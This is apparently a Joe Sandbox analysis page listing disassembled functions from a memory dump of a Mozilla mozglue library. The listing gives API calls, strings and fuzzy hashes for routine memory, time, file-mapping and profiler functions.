malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C51C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C51CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C51CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51CAA5

Strings

(null), xrefs: 6C51C596
0, xrefs: 6C51D30A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 46654c40c9d0bf7597e2d205debe0ce0a4b052b1a64507596fdf5cd9d0ee705c
Instruction ID: 3389db076ec9edf86f984023a9042561c66c994bee6335282f6584320cbc5c5c
Opcode Fuzzy Hash: 46654c40c9d0bf7597e2d205debe0ce0a4b052b1a64507596fdf5cd9d0ee705c
Instruction Fuzzy Hash: 70A1AF3060D3919FEB01DF28C94875ABBE1AF89758F14882DE899D7B41D732E805CB92

Function 6C51C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C51C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C51C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C51C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C51C891

Strings

nan, xrefs: 6C51C7A8
INF, xrefs: 6C51C794
NAN, xrefs: 6C51C7AD
inf, xrefs: 6C51C78F

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 604e8c9277eb55e84f1ce46ef35d567e00116f8ef1b4f4bcb5256ffe709afe2b
Instruction ID: dea2758b86e6597c9db8917b48df1d4ce8df07c4cc697e628a5be033893cf9e1
Opcode Fuzzy Hash: 604e8c9277eb55e84f1ce46ef35d567e00116f8ef1b4f4bcb5256ffe709afe2b
Instruction Fuzzy Hash: 8851837050C7408BE701DF2DC88569AFBF0BF9A318F004A2DE9D5A7A51E771E985CB52

Function 6C4F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C4F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C4F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C4F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4F350E
__Init_thread_footer.LIBCMT ref: 6C4F3522
__aulldiv.LIBCMT ref: 6C4F3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C4F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C4F3592

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

Strings

kernel32.dll, xrefs: 6C4F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C4F3508

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 89f53aa0499cefad5690f2c8e72e4368f60ef70b6255a71cf4cbd3b4a05f7011
Instruction ID: 63481eac37b3e29ed220464980f5ed1098a634479f6b3b17eac65516aac793f5
Opcode Fuzzy Hash: 89f53aa0499cefad5690f2c8e72e4368f60ef70b6255a71cf4cbd3b4a05f7011
Instruction Fuzzy Hash: F031C170B002199BDF02DFB4CC48EAA73B5FBC6319F110119E911A3790EB74A985CB75

Function 6C4F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C534843,?), ref: 6C4F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C534843,?), ref: 6C4F468A
free.MOZGLUE(?,?,?,?,?,?,6C534843,?), ref: 6C4F46C9
free.MOZGLUE(?), ref: 6C4F46EF
free.MOZGLUE(?), ref: 6C4F4712
free.MOZGLUE(?), ref: 6C4F4735
free.MOZGLUE(?), ref: 6C4F4758
free.MOZGLUE(?), ref: 6C4F477B
free.MOZGLUE(?), ref: 6C4F479E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: eb00130c1ce4d000593c8ad13a32610b58a18948c9783c1cc21e3aef2879d5b0
Instruction ID: a9c66871316981903b9ef439eea0f0fff0381db5dce6f25711965d5d91af40a4
Opcode Fuzzy Hash: eb00130c1ce4d000593c8ad13a32610b58a18948c9783c1cc21e3aef2879d5b0
Instruction Fuzzy Hash: 50B10675E001148FDB14DE7CCA94F6D76B1AFC13A4F181668E836DBB92DB3099428B91

Function 6C55AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C55AC52
CreateFileMappingW.KERNEL32 ref: 6C55AC7D
GetSystemInfo.KERNEL32 ref: 6C55AC98
MapViewOfFile.KERNEL32 ref: 6C55ACB0
GetSystemInfo.KERNEL32 ref: 6C55ACCD
MapViewOfFile.KERNEL32 ref: 6C55AD05
UnmapViewOfFile.KERNEL32 ref: 6C55AD1C
CloseHandle.KERNEL32 ref: 6C55AD28
UnmapViewOfFile.KERNEL32 ref: 6C55AD37
CloseHandle.KERNEL32 ref: 6C55AD43
CloseHandle.KERNEL32 ref: 6C55AD67

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 24072430b32805bda826fce46ac1ed17340ca49bbe48bbd49a71a179f92df2c2
Instruction ID: 9fda9f593ee3daea9495f1b966843e1c71860443f89fdba5ed82694bcb82824c
Opcode Fuzzy Hash: 24072430b32805bda826fce46ac1ed17340ca49bbe48bbd49a71a179f92df2c2
Instruction Fuzzy Hash: 60315EB1A047048FDB01BF7DDA4866EBBF1BF85305F02492DE98597311EB709498CBA6

Function 6C509620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C509675
__Init_thread_footer.LIBCMT ref: 6C509697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C509707
__Init_thread_footer.LIBCMT ref: 6C50971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C509773

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5097B7
FreeLibrary.KERNEL32 ref: 6C5097D0
FreeLibrary.KERNEL32 ref: 6C5097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C509824

Strings

NtMapViewOfSection, xrefs: 6C509701
ntdll.dll, xrefs: 6C5096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C509670
MapViewOfFileNuma2, xrefs: 6C5097B1

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 5c4e3a352a938d779f7d9e08b0deb1e1885966a5ae736b0bdc5f55c8b0b6e091
Instruction ID: 3d9e7aa0ee7c1bb5018b11ee8ece7da60ddccf440282866781b44c3d53595472
Opcode Fuzzy Hash: 5c4e3a352a938d779f7d9e08b0deb1e1885966a5ae736b0bdc5f55c8b0b6e091
Instruction Fuzzy Hash: F741BFB17002159FDF01DFA4DC84A9A77B4FB8A329F124229ED06D7784E734A884CBB5

Function 6C540000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
Part of subcall function 6C539420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
Part of subcall function 6C539420: __Init_thread_footer.LIBCMT ref: 6C53949F

GetCurrentThreadId.KERNEL32 ref: 6C540039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C540041
GetCurrentThreadId.KERNEL32 ref: 6C540075
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C540082
moz_xmalloc.MOZGLUE(00000048), ref: 6C540090
free.MOZGLUE(?), ref: 6C540104
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C54011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C54005B

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 3e72fb71f7e40169f79a0b7d186a339c9ef519655bac87cdf7d40a8c6b6c769e
Instruction ID: b967a381288eed58c673fcdca8db42c4030bf06c8b21c62588f8174bff33dc64
Opcode Fuzzy Hash: 3e72fb71f7e40169f79a0b7d186a339c9ef519655bac87cdf7d40a8c6b6c769e
Instruction Fuzzy Hash: 75418CB1A00264DFCB21DF64CC44A9ABBF1FF99318F51891EED5A83B40D731A854CBA5

Function 6C507E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C507EA7
malloc.MOZGLUE(00000001), ref: 6C507EB3

Part of subcall function 6C50CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C50CB49
Part of subcall function 6C50CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C50CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C507EC4
mozalloc_abort.MOZGLUE(?), ref: 6C507F19
malloc.MOZGLUE(?), ref: 6C507F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C507F4D

Strings

d, xrefs: 6C507F89

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 4404e3c2a16062d91c50ec982d8735435702a37809447d61e93ec757e18f3a44
Instruction ID: 628cc83e0e8deb2821a2ed211a0701f0d2d7d9b0090c3fd22e2274ad0941e5b1
Opcode Fuzzy Hash: 4404e3c2a16062d91c50ec982d8735435702a37809447d61e93ec757e18f3a44
Instruction Fuzzy Hash: 72310A71E00398DBDF019B69DC045FEB778EF96248F059628DC4997612FB31A9C8C3A4

Function 6C503E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C503CCC), ref: 6C503EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C503FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C503CCC), ref: 6C504006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5040A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C503CCC), ref: 6C5040AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C503CCC), ref: 6C5040C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C504134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C503CCC), ref: 6C504143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C503CCC), ref: 6C504157

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: fdbdd8d569f50266e76c1f726295c2e2789f9034a756853213fe470065c8b5d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 10A17FB1B00216CFDB40CF69C880659B7B5FF98318F254599D909EF752D771E886CBA0

Function 6C549D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C548273), ref: 6C549D65
free.MOZGLUE(6C548273,?), ref: 6C549D7C
free.MOZGLUE(?,?), ref: 6C549D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C549E0F
free.MOZGLUE(6C54946B,?,?), ref: 6C549E24
free.MOZGLUE(?,?,?), ref: 6C549E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C549EC8
free.MOZGLUE(6C54946B,?,?,?), ref: 6C549EDF
free.MOZGLUE(?,?,?,?), ref: 6C549EF5

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3107570c550c6eeb759599a1fd849df3bbea55b8f7c731d0cc863599acfd5f62
Instruction ID: fbdf7e3466e1d7c5c8854d1905a3836f2a1189355a22b0e41cb82cd3b87dffc8
Opcode Fuzzy Hash: 3107570c550c6eeb759599a1fd849df3bbea55b8f7c731d0cc863599acfd5f62
Instruction Fuzzy Hash: 85719FB0909B41CBD712CF18C98195BF7F8FF99315B448659E85A5BB01EB30E885CBC1

Function 6C54DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C54DDCF

Part of subcall function 6C52FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52FA4B

Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C5490FF
Part of subcall function 6C5490E0: free.MOZGLUE(?,00000000,?,?,6C54DEDB), ref: 6C549108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54DE0D
free.MOZGLUE(00000000), ref: 6C54DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C53DEFD,?,6C504A68), ref: 6C54DF32

Part of subcall function 6C54DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C54DB86
Part of subcall function 6C54DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C54DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C53DEFD,?,6C504A68), ref: 6C54DF65
free.MOZGLUE(?), ref: 6C54DF80

Part of subcall function 6C515E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
Part of subcall function 6C515E90: memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
Part of subcall function 6C515E90: LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 21ef98e8c974cc5d4f731c1e61ce5d0415ba8cd71a4f16ba8500e3a90f7e875b
Instruction ID: a3edb25ed25a54b5d23f01f06570889c0f25beb090587df39eee451c43778e68
Opcode Fuzzy Hash: 21ef98e8c974cc5d4f731c1e61ce5d0415ba8cd71a4f16ba8500e3a90f7e875b
Instruction Fuzzy Hash: F651D672601611DBD721CB28CC84AAEB3B2BFD1308F96851CD91A53F00D731F969CB92

Function 6C555D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555DC9
std::_Facet_Register.LIBCPMT ref: 6C555DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C555C8C,?,6C52E829), ref: 6C555E45

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: ac0b758f722aac2e4c8ba7a20667b1d3bd55e0fcd272fb79306f27c14114ce17
Instruction ID: 397de082ad24b6cafe1211c48204239b13c934a72cc4b0c910c59b7826c24356
Opcode Fuzzy Hash: ac0b758f722aac2e4c8ba7a20667b1d3bd55e0fcd272fb79306f27c14114ce17
Instruction Fuzzy Hash: 2A41BF31700214CFCB00EF65CC88AAE77B5EF89314F95406AE50A9B791EB30ED45CB61

Function 6C52CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4F31A7), ref: 6C52CDDD

Strings

<jemalloc>, xrefs: 6C52CF9F, 6C52CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C52CFA4, 6C52CFB8

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 8e18ac55c584083aea9565590245cfd720deb36523d1d1ce99df9fda2c4a7ecd
Instruction ID: c950fa7b303e1a0bce8c85cc60a4d557f487684028c2f594bac1baba927f9581
Opcode Fuzzy Hash: 8e18ac55c584083aea9565590245cfd720deb36523d1d1ce99df9fda2c4a7ecd
Instruction Fuzzy Hash: 2E31F6317402159BFF21AF658C45FAE7BF5AB81B18F214018F614AB6C1DB74E440CBB5

Function 6C4FECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4FF100: LoadLibraryW.KERNEL32(shell32,?,6C56D020), ref: 6C4FF122
Part of subcall function 6C4FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4FF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4FED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4FEDAC
